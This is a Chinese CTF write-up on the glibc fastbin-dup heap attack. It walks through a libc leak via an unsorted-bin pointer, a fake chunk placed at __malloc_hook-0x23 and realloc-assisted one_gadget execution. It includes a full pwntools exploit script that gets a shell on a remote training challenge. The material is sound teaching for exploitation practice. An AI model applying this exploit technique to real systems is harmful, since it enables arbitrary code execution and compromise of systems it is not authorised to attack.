FastbinDup
- 可以将目标地址设定为return address 或者Hook Function这类可以控制执行流程的地址。
- 注意
fastbin fd
是指向chunk header
的,因此记得要换算一下偏移。 Malicious Chunk
的Size
须符合Fastbin
所属的Size
- 在
libc 2.26
之后,Fast Chunk
会首先进入Tcache
,libc 2.31
和libc 2.27
差不多 - 因此
fastbin
是一个很通用的打法。 - 在支持
Tcache
的libc
版本需要将tcache
放满
在tcache放满的情况下,malloc不会拿fastbin而是拿tcache,可以用calloc不会拿tcache的特性绕过。
具体例子
easynote
题目来源:DASCTF 2023六月挑战赛 | Pwn专项
构造一个chunk
,使其进入Unsorted Bin
,然后打印fd
指针即可获取一个与 main_arena
有固定偏移的地址,通过动态调试同时获取这个地址和libc基址,即可获取此地址与libc之间的偏移,从获取libc基址。
- 申请大小为4000的准备进入
Unsorted Bin
的内存,其编号为0 - 申请大小为4000的,防止0号内存合并进
top chunk
- 释放掉0号内存,使其进入
Unsorted Bin
,此时原本指向数据的指针将指向chunk结构体的fd成员变量。 - 输出0号内存的值,获取
main_arena
有固定偏移的地址 - 通过调试可以获取到此时libc基址,算出地址与libc的偏移为0x3c4b78
one_gadget libc-2.23.so > pwn.txt
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
使用Fastbin Attack
实现任意地址写,主要思想是控制在__malloc_hook
附近寻找可以当作"进入fastbin
的chunk
“的结构体,然后通过UAF
将进入fastbin
的chunk
的fd
成员变量修改成构造的结构体地址,使__malloc_hook
附近构造的结构体进入fastbin
尾部,使其能够通过malloc
获取__malloc_hook
附近的指针,以便覆盖__malloc_hook
的值。
- 寻找
__malloc_hook
附近的内存,发现__malloc_hook
上方存在0x000000000000007F,适合作为chunk
的size
,此时size
对于__malloc_hook
的偏移为0x1B,chunk
地址距离size
地址还差一个prev_size
成员变量,因此chunk
地址需要__malloc_hook
地址减去0x23,其可malloc
的大小为0x60(chunk
大小减去prev_size
和size
为malloc
出来的大小为可储存的用户数据大小为0x6F,又因为需要和2 *SIZE_SZ
对齐,所以我们只能申请0x60的大小) - 申请大小为0x60(十进制96)的内存
- 释放掉刚刚申请的内存使其进入
fastbin
- 通过UAF修改fd指针为
__malloc_hook
0x23 - 申请大小为0x60的内存,将刚刚进入fastbin的内存申请回来
- 再次申请大小为0x60的内存,获取
__malloc_hook
附近的指针 - 将其内存赋值为gadget准备获取shell(因为实际上并不能直接获取)
__malloc_hook + __realloc_hook
经过测试,发现几个gadget都不能满足要求,这时候就需要调整内存结构使其满足gadget的需求,我们选取要求[rsp+0x30] == NULL
的gadget使其满足get shell的要求,我们可以通过将__mallloc_hook
设置成realloc
附近地址(具体选哪里取决于我们用多少个push
能get shell),再将__realloc_hook
设置成gadget来获取shell(因为realloc
有好多push
可以改变rsp
使其更有可能满足gadget条件),经过测试,直接使用realloc
即可get shell。
from pwn import *
context.arch = 'amd64'
# context.arch = 'amd64'
context.log_level = 'debug'
# p = process(["./libc6-i386_2.31-0ubuntu9.14_amd64.so", "./ISCC_easy"],env={"LD_PRELOAD":"./libc6-i386_2.31-0ubuntu9.14_amd64.so"})
# p = process('./ISCC_easy')
# p = remote("182.92.237.102", 10013)
context.terminal =['tmux','splitw','-h']
# p = process("./pwn")
p = remote("train.hitctf.cn",25931)
libc = ELF("./libc-2.23.so")
def add(length, payload):
p.sendafter("5. exit",str(1))
p.sendafter("The length of your content --->",str(length))
p.sendafter("Content --->",payload)
def edit(index, length, payload):
p.sendafter("5. exit",str(2))
p.sendafter("Index --->",str(index))
p.sendafter("The length of your content --->",str(length))
p.sendafter("Content --->",payload)
def delete(index):
p.sendafter("5. exit",str(3))
p.sendafter("Index --->",str(index))
def show(index):
p.sendafter("5. exit",str(4))
p.sendafter("Index --->",str(index))
def d():
gdb.attach(p)
pause()
add(4000,b'a')
add(4000,b'a')
delete(0)
# d()
show(0)
p.recvuntil("Content: ")
leak_data = u64(p.recvuntil(b'done')[:-5].ljust(8,b'\x00'))
success(f"leak_data--->{hex(leak_data)}")
# d()
libc_base = leak_data - 0x3c4b78
success(f"libc_base--->{libc_base}")
# d()
# d()
malloc_hook = libc_base + libc.sym['__malloc_hook']
og = libc_base + 0x4527a
realloc_addr = libc_base + libc.sym['realloc']
add(0x60,b'aaaa') # 2
delete(2)
edit(2,9,p64(malloc_hook-0x23)) # chunk.fd -> malloc_hook - 0x23
add(0x60,b'aaaa') # 拿到这个 下一个就是malloc_hook
# d()
# gdb.attach(p)
add(0x60, b'A'*11+p64(og)+p64(realloc_addr)) # 改成og
# p.sendafter("5. exit",str(1))
# p.sendafter("The length of your content --->",str(96))
p.interactive()
此外,在pwngdb中支持利用find_fake_fast [-h] addr size
可以找到候选的fast chunks,这个可以用于fastbin dups和house of spirit